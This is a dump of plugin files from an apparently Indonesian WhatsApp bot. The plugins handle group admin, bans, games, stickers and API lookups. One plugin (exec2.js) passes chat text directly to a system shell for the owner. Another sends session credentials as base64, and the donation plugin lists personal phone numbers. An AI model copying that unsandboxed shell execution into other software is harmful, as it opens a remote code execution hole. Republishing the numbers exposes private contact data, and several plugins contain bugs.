| let handler = async m => m.reply(` 2 | ╭─「 Donasi • Pulsa 」 3 | │ • Indosat Ooredoo [081515860089] 4 | │ • Telkomsel [081334177340] 5 | ╰──── 6 | 7 | ╭─「 Donasi • Non Pulsa 」 8 | │ • Gopay, OVO, Dana [081515860089] 9 | │ • https://saweria.co/Nurutomo 10 | ╰──── 11 | `.trim()) // Tambah sendiri kalo mau 12 | handler.help = ['donasi'] 13 | handler.tags = ['info'] 14 | handler.command = /^dona(te|si)$/i 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/tebaklagu_hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.tebaklagu = conn.tebaklagu ? conn.tebaklagu : {} 3 | let id = m.chat 4 | if (!(id in conn.tebaklagu)) throw false 5 | let json = conn.tebaklagu[id][1] 6 | let nya = json.judul 7 | let nyanya = nya.replace(/[bcdfghjklmnpqrstvwxyz]/g, '_') 8 | m.reply('```' + nyanya + '```') 9 | } 10 | handler.command = /^cek$/i 11 | handler.limit = true 12 | module.exports = handler -------------------------------------------------------------------------------- /plugins/hlh.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { command, text }) => { 2 | let ter = command[1].toLowerCase() 3 | let txt = m.quoted ? m.quoted.text ? m.quoted.text : text ? text : m.text : text ? text : m.text 4 | await m.reply(txt.replace(/[aiueo]/g, ter).replace(/[AIUEO]/g, ter.toUpperCase())) 5 | } 6 | handler.help = [...'aiueo'].map(v => `h${v}l${v}h `) 7 | handler.tags = ['tools'] 8 | handler.command = /^h([aiueo])l\1h/i 9 | 10 | module.exports = handler 11 | -------------------------------------------------------------------------------- /plugins/simsimi.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { text }) => { 3 | let res = await fetch(global.API('xteam', '/simsimi2', { kata: text }, 'APIKEY')) 4 | let json = await res.json() 5 | if (json.status) m.reply(json.result) 6 | else throw json 7 | } 8 | handler.help = ['simi', 'simsimi', 'simih'].map(v => v + ' ') 9 | handler.tags = ['fun'] 10 | handler.command = /^((sim)?simi|simih)$/i 11 | 12 | module.exports = handler 13 | 14 | -------------------------------------------------------------------------------- /lib/tictactoe.d.ts: -------------------------------------------------------------------------------- 1 | export declare class TicTacToe { 2 | /* X PlayerName */ 3 | playerX: string; 4 | /* Y PlayerName */ 5 | playerY: string; 6 | /* X if true, Y if false */ 7 | _currentTurn: boolean; 8 | _x: number; 9 | _y: number; 10 | _turns: number; 11 | constructor(playerX: string, playerY: string); 12 | get board(): number; 13 | turn(player, index: number): boolean; 14 | turn(player, x: number, y: number): boolean; 15 | } 16 | -------------------------------------------------------------------------------- /plugins/delete.js: -------------------------------------------------------------------------------- 1 | let handler = function (m) { 2 | if (!m.quoted) throw false 3 | let { chat, fromMe, id, isBaileys } = m.quoted 4 | if (!fromMe) throw false 5 | if (!isBaileys) throw 'Pesan tersebut bukan dikirim oleh bot!' 6 | this.deleteMessage(chat, { 7 | fromMe, 8 | id, 9 | remoteJid: chat 10 | }) 11 | } 12 | handler.help = ['del', 'delete'] 13 | handler.tags = ['info'] 14 | 15 | handler.command = /^del(ete)?$/i 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/idfreefire.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { args }) => { 3 | let res = await fetch(global.API('xteam', '/search/freefire', {id: args[0]}, 'APIKEY')) 4 | let json = await res.json() 5 | if (json.result.name) conn.reply(m.chat, json.result.name, m) 6 | else throw json 7 | } 8 | handler.help = ['epep'].map(v => v + ' ') 9 | handler.tags = ['internet'] 10 | handler.command = /^(freefire|epep)$/i 11 | 12 | module.exports = handler 13 | -------------------------------------------------------------------------------- /plugins/setbye.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text, isROwner, isOwner }) => { 2 | if (text) { 3 | if (isROwner) global.conn.bye = text 4 | else if (isOwner) conn.bye = text 5 | global.DATABASE._data.chats[m.chat].sBye = text 6 | m.reply('Bye berhasil diatur\n@user (Mention)') 7 | } else throw 'Teksnya mana?' 8 | } 9 | handler.help = ['setbye '] 10 | handler.tags = ['owner', 'group'] 11 | 12 | handler.command = /^setbye$/i 13 | module.exports = handler 14 | 15 | -------------------------------------------------------------------------------- /plugins/_autodelvnbot.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | async all(m) { 3 | let chat = global.DATABASE.data.chats[m.chat] 4 | if (chat.autodelvn && !m.fromMe && m.isBaileys && m.mtype === 'audioMessage' && m.msg.ptt && m.quoted) { 5 | let { key } = await m.reply('.delete', null, { 6 | messageId: '3EB0' + require('crypto').randomBytes(12).toString('hex') 7 | }).catch(_ => {}) 8 | if (key) this.deleteMessage(m.chat, key) 9 | } 10 | } 11 | } -------------------------------------------------------------------------------- /plugins/join.js: -------------------------------------------------------------------------------- 1 | let linkRegex = /chat.whatsapp.com\/([0-9A-Za-z]{20,24})/i 2 | 3 | let handler = async (m, { conn, text }) => { 4 | let [_, code] = text.match(linkRegex) || [] 5 | if (!code) throw 'Link invalid' 6 | let res = await conn.acceptInvite(code) 7 | m.reply(`Berhasil join grup ${res.gid}`) 8 | } 9 | handler.help = ['join '] 10 | handler.tags = ['premium'] 11 | 12 | handler.command = /^join$/i 13 | 14 | handler.premium = true 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/_antitroli.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | handler.all = async function (m) { 4 | if (m.message && m.isBaileys && m.quoted && m.quoted.mtype === 'orderMessage' && !(m.quoted.token && m.quoted.orderId)) { 5 | m.reply('Bug Troli Detected\n\n' + require('util').format(m.key)) 6 | // await this.clearMessage(m.chat, m.key) 7 | await this.modifyChat(m.chat, 'delete', { 8 | includeStarred: false 9 | }).catch(console.log) 10 | } 11 | } 12 | 13 | module.exports = handler -------------------------------------------------------------------------------- /plugins/contact.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!text) return 3 | let who 4 | if (m.isGroup) who = m.mentionedJid[0] 5 | else who = m.chat 6 | if (!who) throw 'Tag salah satu lah' 7 | txt = text.replace('@' + who.split`@`[0], '').trimStart() 8 | return conn.sendContact(m.chat, who, txt || conn.getName(who), m) 9 | } 10 | handler.help = ['save'].map(v => v + ' @mention ') 11 | handler.tags = [''] 12 | 13 | handler.command = /^save$/ 14 | 15 | module.exports = handler 16 | -------------------------------------------------------------------------------- /plugins/setwelcome.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text, isROwner, isOwner }) => { 2 | if (text) { 3 | if (isROwner) global.conn.welcome = text 4 | else if (isOwner) conn.welcome = text 5 | global.DATABASE._data.chats[m.chat].sWelcome = text 6 | m.reply('Welcome berhasil diatur\n@user (Mention)\n@subject (Judul Grup)') 7 | } else throw 'Teksnya mana?' 8 | } 9 | handler.help = ['setwelcome '] 10 | handler.tags = ['owner', 'group'] 11 | 12 | handler.command = /^setwelcome$/i 13 | module.exports = handler 14 | 15 | -------------------------------------------------------------------------------- /plugins/_autolevelup.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | let levelling = require('../lib/levelling') 4 | handler.before = m => { 5 | let user = global.DATABASE.data.users[m.sender] 6 | if (!user.autolevelup) return !0 7 | let before = user.level * 1 8 | while (levelling.canLevelUp(user.level, user.exp, global.multiplier)) user.level++ 9 | if (before !== user.level) m.reply(` 10 | Selamat, anda telah naik level! 11 | *${before}* -> *${user.level}* 12 | gunakan *.profile* untuk mengecek 13 | `.trim()) 14 | } 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/brainly.js: -------------------------------------------------------------------------------- 1 | const brainly = require('brainly-scraper-v2') 2 | let handler = async function (m, { text }) { 3 | if (!text) throw 'Soalnya?' 4 | let res = await brainly(text) 5 | let answer = res.data.map((v, i) => `_*PERTANYAAN KE ${i + 1}*_\n${v.pertanyaan}\n${v.jawaban.map((v,i) => `*JAWABAN KE ${i + 1}*\n${v.text}`).join('\n')}`).join('\n\n•------------•\n\n') 6 | m.reply(answer) 7 | } 8 | handler.help = ['brainly '] 9 | handler.tags = ['internet'] 10 | 11 | handler.command = /^brainly$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/sudo.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!text) throw false 3 | let who 4 | if (m.isGroup) who = m.mentionedJid[0] 5 | else who = m.chat 6 | if (!who) throw 'Tag salah satu lah' 7 | txt = text.replace('@' + who.split`@`[0], '').trimStart() 8 | conn.emit('chat-update', { 9 | jid: who, 10 | hasNewMessage: true, 11 | messages: { 12 | all() { 13 | return [conn.cMod(m.chat, m, txt, who)] 14 | } 15 | } 16 | }) 17 | } 18 | handler.command = /^sudo$/ 19 | handler.rowner = true 20 | 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /.github/workflows/stale.yml: -------------------------------------------------------------------------------- 1 | name: Mark stale issues and pull requests 2 | 3 | on: 4 | schedule: 5 | - cron: "30 1 * * *" 6 | 7 | jobs: 8 | stale: 9 | 10 | runs-on: ubuntu-latest 11 | permissions: 12 | issues: write 13 | pull-requests: write 14 | 15 | steps: 16 | - uses: actions/stale@v3 17 | with: 18 | repo-token: ${{ secrets.GITHUB_TOKEN }} 19 | stale-issue-message: 'stale issue' 20 | stale-pr-message: 'stale pull request' 21 | stale-issue-label: 'no-issue-activity' 22 | stale-pr-label: 'no-pr-activity' 23 | -------------------------------------------------------------------------------- /plugins/banuser.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | let handler = async (m, { conn, text}) => { 3 | if (!text) throw 'Siapa yang mau di banned?' 4 | let who 5 | if (m.isGroup) who = m.mentionedJid[0] 6 | else who = m.chat 7 | if (!who) throw 'Tag salah satu lah' 8 | let users = global.DATABASE._data.users 9 | users[who].banned = true 10 | conn.reply(m.chat, `berhasil banned`, m) 11 | } 12 | handler.help = ['ban'] 13 | handler.tags = ['owner'] 14 | handler.command = /^ban$/i 15 | handler.rowner = true 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/demote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, participants }) => { 2 | let members = participants.filter(member => member.isAdmin).map(member => member.jid) 3 | let users = m.mentionedJid.filter(user => members.includes(user)) 4 | for (let user of users) await conn.groupDemoteAdmin(m.chat, [user]).catch(console.log) 5 | } 6 | handler.help = ['demote','member','↓'].map(v => v + ' @user') 7 | handler.tags = ['admin'] 8 | 9 | handler.command = /^(demote|member|↓)$/i 10 | 11 | handler.group = true 12 | 13 | handler.admin = true 14 | handler.botAdmin = true 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/unbanuser.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | let handler = async (m, { conn, text}) => { 3 | if (!text) throw 'Siapa yang mau di unbanned?' 4 | let who 5 | if (m.isGroup) who = m.mentionedJid[0] 6 | else who = m.chat 7 | if (!who) throw 'Tag salah satu lah' 8 | let users = global.DATABASE._data.users 9 | users[who].banned = false 10 | conn.reply(m.chat, `berhasil unbanned`, m) 11 | } 12 | handler.help = ['ban'] 13 | handler.tags = ['owner'] 14 | handler.command = /^unban$/i 15 | handler.rowner = true 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/promote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, participants }) => { 2 | let members = participants.filter(member => !member.isAdmin).map(member => member.jid) 3 | let users = m.mentionedJid.filter(user => members.includes(user)) 4 | for (let user of users) await conn.groupMakeAdmin(m.chat, [user]).catch(console.log) 5 | } 6 | handler.help = ['promote','admin','^', '↑'].map(v => v + ' @user') 7 | handler.tags = ['admin'] 8 | 9 | handler.command = /^(promote|admin|\^|↑)$/i 10 | 11 | handler.group = true 12 | 13 | handler.admin = true 14 | handler.botAdmin = true 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/qrcode.js: -------------------------------------------------------------------------------- 1 | let qrcode = require("qrcode") 2 | 3 | let handler = async (m, { conn, text }) => { 4 | conn.sendFile(m.chat, await qrcode.toDataURL(text.slice(0, 2048), { scale: 8 }), 'qrcode.png', '¯\\_(ツ)_/¯', m) 5 | } 6 | handler.help = ['', 'code'].map(v => 'qr' + v + ' ') 7 | handler.tags = ['tools'] 8 | handler.command = /^qr(code)?$/i 9 | handler.owner = false 10 | handler.mods = false 11 | handler.premium = false 12 | handler.group = false 13 | handler.private = false 14 | 15 | handler.admin = false 16 | handler.botAdmin = false 17 | 18 | handler.fail = null 19 | 20 | module.exports = handler 21 | 22 | -------------------------------------------------------------------------------- /plugins/shaun_the_sheep_photo.js: -------------------------------------------------------------------------------- 1 | const uploadImage = require('../lib/uploadImage') 2 | let handler = async (m) => { 3 | let q = m.quoted ? m.quoted : m 4 | let mime = (q.msg || q).mimetype || '' 5 | if (!mime) throw 'No media found' 6 | let media = await q.download() 7 | let url = await uploadImage(media) 8 | await conn.sendFile(m.chat, global.API('xteam', '/videomaker/shaunthesheep', { url }, 'APIKEY'), 'shaunthesheep.mp4', 'jangan sedih yaa...', m) 9 | } 10 | handler.help = ['shaunthesheep'] 11 | handler.tags = ['videomaker'] 12 | 13 | handler.command = /^shaunthesheep$/i 14 | 15 | module.exports = handler 16 | -------------------------------------------------------------------------------- /plugins/unregister.js: -------------------------------------------------------------------------------- 1 | const { createHash } = require('crypto') 2 | let handler = async function (m, { args }) { 3 | if (!args[0]) throw 'Serial Number kosong' 4 | let user = global.DATABASE._data.users[m.sender] 5 | let sn = createHash('md5').update(m.sender).digest('hex') 6 | if (args[0] !== sn) throw 'Serial Number salah' 7 | user.registered = false 8 | m.reply(`Unreg berhasil!`) 9 | } 10 | handler.help = ['', 'ister'].map(v => 'unreg' + v + ' ') 11 | handler.tags = ['exp'] 12 | 13 | handler.command = /^unreg(ister)?$/i 14 | handler.register = true 15 | 16 | module.exports = handler 17 | 18 | -------------------------------------------------------------------------------- /plugins/getexif.js: -------------------------------------------------------------------------------- 1 | let webp = require('node-webpmux') 2 | let util = require('util') 3 | 4 | let handler = async (m) => { 5 | if (!m.quoted) return conn.reply(m.chat, 'Tag stikernya!', m) 6 | let q = { message: { [m.quoted.mtype]: m.quoted } } 7 | if (/sticker/.test(m.quoted.mtype)) { 8 | let img = new webp.Image() 9 | await img.loadBuffer(await m.quoted.download()) 10 | m.reply(util.format(JSON.parse(img.exif.slice(22).toString()))) 11 | } 12 | } 13 | handler.help = ['getexif'] 14 | handler.tags = ['sticker'] 15 | 16 | handler.command = ['getexif'] 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/listprem.js: -------------------------------------------------------------------------------- 1 | /* 2 | Silahkan Di Pakek 3 | Tapi Bantu Rapihin :v 4 | Buatan: Miaweers 5 | */ 6 | 7 | const { MessageType } = require('@adiwajshing/baileys') 8 | 9 | let handler = async (m, { conn, text }) => { 10 | let prem = global.prems.map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').filter(v => v != conn.user.jid) 11 | conn.sendMessage(m.chat, `「 List Premium 」` + `\n` + prem.map(v => '- @' + v.replace(/@.+/, '')).join`\n`, MessageType.extendedText, { contextInfo: { mentionedJid: prem } }) 12 | } 13 | handler.command = /^(listprem)$/i 14 | handler.owner = true 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/odemote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, participants }) => { 2 | let members = participants.filter(member => member.isAdmin).map(member => member.jid) 3 | let users = m.mentionedJid.filter(user => members.includes(user)) 4 | for (let user of users) await conn.groupDemoteAdmin(m.chat, [user]).catch(console.log) 5 | } 6 | handler.help = ['demote','member','↓'].map(v => v + ' @user') 7 | handler.tags = ['admin'] 8 | 9 | handler.command = /^(demote|member|↓)$/i 10 | 11 | handler.owner = true 12 | handler.group = true 13 | 14 | handler.admin = true 15 | handler.botAdmin = true 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/addprems.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | 3 | let who 4 | if (m.isGroup) who = m.mentionedJid[0] 5 | else who = m.chat 6 | if (global.prems.includes(who.split`@`[0])) throw 'Sudah premium!' 7 | global.prems.push(`${who.split`@`[0]}`) 8 | conn.reply(m.chat, `Hai, @${who.split`@`[0]}. Kamu sudah premium!`, m, { 9 | contextInfo: { 10 | mentionedJid: [who] 11 | } 12 | }) 13 | 14 | } 15 | handler.help = ['addprem *@user*'] 16 | handler.tags = ['owner'] 17 | handler.command = /^(add|tambah|\+)prem$/i 18 | handler.rowner = true 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/carigrup.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, text }) => { 3 | if (!text) throw 'Cari apa?' 4 | let res = await fetch(global.API('xteam', '/search/grupwa', { 5 | q: text 6 | }, 'APIKEY')) 7 | if (res.status !== 200) throw await res.text() 8 | let json = await res.json() 9 | if (!json.status) throw json 10 | let teks = json.result.map(res => res.subject + '\n' + res.link).join('\n\n') 11 | m.reply(teks) 12 | } 13 | handler.help = ['carigrup '] 14 | handler.tags = ['tools'] 15 | 16 | handler.command = /^carigrup/i 17 | 18 | module.exports = handler -------------------------------------------------------------------------------- /plugins/opromote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, participants }) => { 2 | let members = participants.filter(member => !member.isAdmin).map(member => member.jid) 3 | let users = m.mentionedJid.filter(user => members.includes(user)) 4 | for (let user of users) await conn.groupMakeAdmin(m.chat, [user]).catch(console.log) 5 | } 6 | handler.help = ['promote','admin','^'].map(v => 'o' + v + ' @user') 7 | handler.tags = ['owner'] 8 | 9 | handler.command = /^(opromote|oadmin|o\^)$/i 10 | 11 | handler.owner = true 12 | handler.group = true 13 | 14 | handler.admin = false 15 | handler.botAdmin = true 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/_antilink.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | let linkRegex = /chat.whatsapp.com\/(?:invite\/)?([0-9A-Za-z]{20,24})/i 4 | handler.before = function (m, { isAdmin, isBotAdmin }) { 5 | if (m.isBaileys && m.fromMe) return true 6 | let chat = global.DATABASE.data.chats[m.chat] 7 | let isGroupLink = linkRegex.exec(m.text) 8 | 9 | if (chat.antiLink && isGroupLink) { 10 | m.reply('Hapus!!\n\nLink Grup terdeteksi') 11 | if (global.opts['restrict']) { 12 | if (isAdmin || !isBotAdmin) return true 13 | // this.groupRemove(m.chat, [m.sender]) 14 | } 15 | } 16 | return true 17 | } 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/jadian.js: -------------------------------------------------------------------------------- 1 | let R = Math.random 2 | let Fl = Math.floor 3 | let toM = a => '@' + a.split('@')[0] 4 | function handler(m, { groupMetadata }) { 5 | let ps = groupMetadata.participants.map(v => v.jid) 6 | let a = ps[Fl(R() * ps.length)] 7 | let b 8 | do b = ps[Fl(R() * ps.length)] 9 | while (b === a) 10 | m.reply(`${toM(a)} ❤️ ${toM(b)}`, null, { 11 | contextInfo: { 12 | mentionedJid: [a, b] 13 | } 14 | }) 15 | } 16 | handler.help = ['jadian'] 17 | handler.tags = ['main'] 18 | handler.command = ['jadian'] 19 | handler.group = true 20 | handler.limit = true 21 | 22 | module.exports = handler -------------------------------------------------------------------------------- /plugins/grouplist.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | let txt = conn.chats.all().filter(v => v.jid.endsWith('g.us')).map(v =>`${conn.getName(v.jid)}\n${v.jid} [${v.read_only ? 'Left' : 'Joined'}]`).join`\n\n` 3 | conn.reply(m.chat, 'List Groups:\n' + txt, m) 4 | } 5 | handler.help = ['groups', 'grouplist'] 6 | handler.tags = ['info'] 7 | handler.command = /^(group(s|list))$/i 8 | handler.owner = false 9 | handler.mods = false 10 | handler.premium = false 11 | handler.group = false 12 | handler.private = false 13 | 14 | handler.admin = false 15 | handler.botAdmin = false 16 | 17 | handler.fail = null 18 | 19 | module.exports = handler 20 | 21 | -------------------------------------------------------------------------------- /plugins/stopjadibot.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | if (global.conn.user.jid == conn.user.jid) conn.reply(m.chat, 'Kenapa nggk langsung ke terminalnya?', m) 3 | else { 4 | await conn.reply(m.chat, 'Goodbye bot :\')', m) 5 | conn.close() 6 | } 7 | } 8 | handler.help = ['berhenti','stop'] 9 | handler.tags = ['jadibot'] 10 | handler.command = /^(berhenti|stop)$/i 11 | handler.owner = true 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = false 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | 22 | module.exports = handler 23 | 24 | -------------------------------------------------------------------------------- /plugins/ttp.js: -------------------------------------------------------------------------------- 1 | const { sticker } = require('../lib/sticker') 2 | const { MessageType } = require('@adiwajshing/baileys') 3 | 4 | let handler = async (m, { conn, text }) => { 5 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 6 | let stiker = await sticker(null, global.API('xteam', '/ttp', { file: '', text: teks }), global.packname, global.author) 7 | if (stiker) return conn.sendMessage(m.chat, stiker, MessageType.sticker, { 8 | quoted: m 9 | }) 10 | throw stiker.toString() 11 | } 12 | handler.help = ['ttp '] 13 | handler.tags = ['sticker'] 14 | 15 | handler.command = /^ttp$/i 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/delmsg.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { command, usedPrefix, text }) => { 2 | let which = command.replace(/get/i, '') 3 | if (!text) throw `Gunakan *${usedPrefix}list${which}* untuk melihat list nya` 4 | let msgs = global.DATABASE._data.msgs 5 | if (!text in msgs) throw `'${text}' tidak terdaftar di list pesan` 6 | delete msgs[text] 7 | m.reply(`Berhasil menghapus pesan di list pesan dengan nama '${text}'`) 8 | } 9 | handler.help = ['vn', 'msg', 'video', 'audio', 'img', 'sticker'].map(v => 'del' + v + ' ') 10 | handler.tags = ['database'] 11 | handler.command = /^del(vn|msg|video|audio|img|sticker)$/ 12 | 13 | module.exports = handler -------------------------------------------------------------------------------- /plugins/magernulis.js: -------------------------------------------------------------------------------- 1 | // Magernulis By MFarelS:V 2 | // Code by DrawlNag 3 | // Recode by Nurutomo :V 4 | let handler = async (m, { command, conn, text }) => { 5 | let id = (command.match(/[1-6]$/) || [])[0] || '' 6 | await conn.sendFile(m.chat, global.API('xteam', '/magernulis' + id, { 7 | text, 8 | nama: conn.getName(m.sender), 9 | kelas: ' ' 10 | }, 'APIKEY'), 'nulis.jpg', 'Nahhh sudah jadi...', m) 11 | } 12 | handler.help = new Array(6).fill('magernulis').map((v, i) => v + (i + 1) + ' ') 13 | handler.tags = ['nulis'] 14 | 15 | handler.command = /^magernulis[1-6]?$/i 16 | 17 | handler.limit = true 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /lib/logs.js: -------------------------------------------------------------------------------- 1 | let stdouts = [] 2 | module.exports = (maxLength = 200) => { 3 | let oldWrite = process.stdout.write.bind(process.stdout) 4 | module.exports.disable = () => { 5 | module.exports.isModified = false 6 | return process.stdout.write = oldWrite 7 | } 8 | process.stdout.write = (chunk, encoding, callback) => { 9 | stdouts.push(Buffer.from(chunk, encoding)) 10 | oldWrite(chunk, encoding, callback) 11 | if (stdouts.length > maxLength) stdouts.shift() 12 | } 13 | module.exports.isModified = true 14 | return module.exports 15 | } 16 | 17 | module.exports.isModified = false 18 | module.exports.logs = () => Buffer.concat(stdouts) 19 | 20 | -------------------------------------------------------------------------------- /plugins/setbotpp.js: -------------------------------------------------------------------------------- 1 | /* 2 | Silahkan Di Pakek 3 | Tapi Bantu Rapihin :v 4 | Buatan: Miaweers 5 | */ 6 | 7 | let handler = async (m, { conn, args }) => { 8 | let bot = conn.user.jid // Bot 9 | let q = m.quoted ? m.quoted : m 10 | let mime = (q.msg || q).mimetype || '' 11 | if (/image/.test(mime)) { 12 | let img = await conn.downloadM(q) 13 | if (!img) throw `Foto tidak ditemukan` 14 | conn.updateProfilePicture (bot, img) 15 | conn.reply(m.chat, 'Sukses Mengganti Foto Profile Bot!', m) 16 | } 17 | } 18 | handler.help = ['setbotpp'] 19 | handler.command = /^(setbotpp)$/i 20 | handler.owner = true 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/exec2.js: -------------------------------------------------------------------------------- 1 | let cp = require('child_process') 2 | let { promisify } = require('util') 3 | let exec = promisify(cp.exec).bind(cp) 4 | let handler = async (m, { conn, isOwner, command, text }) => { 5 | if (global.conn.user.jid != conn.user.jid) return 6 | m.reply('Executing...') 7 | let o 8 | try { 9 | o = await exec(command.trimStart() + ' ' + text.trimEnd()) 10 | } catch (e) { 11 | o = e 12 | } finally { 13 | let { stdout, stderr } = o 14 | if (stdout.trim()) m.reply(stdout) 15 | if (stderr.trim()) m.reply(stderr) 16 | } 17 | } 18 | handler.customPrefix = /^[$] / 19 | handler.command = new RegExp 20 | handler.rowner = true 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/citacita.js: -------------------------------------------------------------------------------- 1 | let fetch = require("node-fetch") 2 | let handler = async (m, { conn }) => { 3 | let res = await fetch('https://raw.githubusercontent.com/AlvioAdjiJanuar/citacita/main/citacita.txt') 4 | let txt = await res.text() 5 | 6 | let json = txt.split('\n') 7 | let cita = arr[Math.floor(Math.random() * arr.length)] 8 | conn.sendFile(m.chat, cita, 'cita.mp3', null, m, true, { 9 | type: 'audioMessage', // paksa tanpa convert di ffmpeg 10 | ptt: true // true diatas ga work, sebab dipaksa tanpa convert ;v 11 | }) 12 | } 13 | 14 | 15 | handler.customPrefix = /^cita cita|citacita|cita$/i 16 | handler.command = new RegExp 17 | 18 | 19 | 20 | 21 | 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/getcode.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix }) => { 2 | if (global.conn.user.jid == conn.user.jid) conn.reply(m.chat, 'Command ini hanya untuk yang jadi bot', m) 3 | else global.conn.reply(conn.user.jid, `${usedPrefix}jadibot ${Buffer.from(JSON.stringify(conn.base64EncodedAuthInfo())).toString('base64')}`, m) 4 | } 5 | handler.help = ['getcode'] 6 | handler.tags = ['jadibot'] 7 | handler.command = /^(getcode)$/i 8 | handler.owner = true 9 | handler.mods = false 10 | handler.premium = false 11 | handler.group = false 12 | handler.private = false 13 | 14 | handler.admin = false 15 | handler.botAdmin = false 16 | 17 | handler.fail = null 18 | 19 | module.exports = handler 20 | 21 | -------------------------------------------------------------------------------- /plugins/img2braille.js: -------------------------------------------------------------------------------- 1 | let { promises: fs } = require('fs') 2 | let { join } = require('path') 3 | const tmp = join(__dirname, '../tmp') 4 | async function handler(m) { 5 | let { braillefy } = require('img2braille') 6 | 7 | let q = m.quoted ? m.quoted : m 8 | if (!/^image/.test(q.mimetype)) throw 'Not an Image!' 9 | let filename = join(tmp, + new Date + '.png') 10 | await fs.writeFile(filename, await q.download()) 11 | m.reply(await braillefy(filename, 30, { 12 | invert: false, 13 | dither: true 14 | })) 15 | await fs.unlink(filename) 16 | } 17 | handler.command = handler.help = ['tobraille'] 18 | handler.tags = ['tools'] 19 | 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/upload.js: -------------------------------------------------------------------------------- 1 | const uploadFile = require('../lib/uploadFile') 2 | const uploadImage = require('../lib/uploadImage') 3 | 4 | let handler = async (m) => { 5 | let q = m.quoted ? m.quoted : m 6 | let mime = (q.msg || q).mimetype || '' 7 | if (!mime) throw 'No media found' 8 | let media = await q.download() 9 | let isTele = /image\/(png|jpe?g|gif)|video\/mp4/.test(mime) 10 | let link = await (isTele ? uploadImage : uploadFile)(media) 11 | m.reply(`${link} 12 | ${media.length} Byte(s) 13 | ${isTele ? '(No Expiry Date)' : '(Unknown)'}`) 14 | } 15 | handler.help = ['upload (caption|reply media)'] 16 | handler.tags = ['tools'] 17 | handler.command = /^upload$/i 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /plugins/okick.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | let ownerGroup = m.chat.split`-`[0] + '@s.whatsapp.net' 3 | let users = m.mentionedJid.filter(u => !(u == ownerGroup || u.includes(conn.user.jid))) 4 | for (let user of users) if (user.endsWith('@s.whatsapp.net')) await conn.groupRemove(m.chat, [user]) 5 | } 6 | handler.help = ['kick','-'].map(v => 'o' + v + ' @user') 7 | handler.tags = ['owner'] 8 | handler.command = /^(okick|o\-)$/i 9 | handler.owner = true 10 | handler.mods = false 11 | handler.premium = false 12 | handler.group = true 13 | handler.private = false 14 | 15 | handler.admin = false 16 | handler.botAdmin = true 17 | 18 | handler.fail = null 19 | 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/readmore.js: 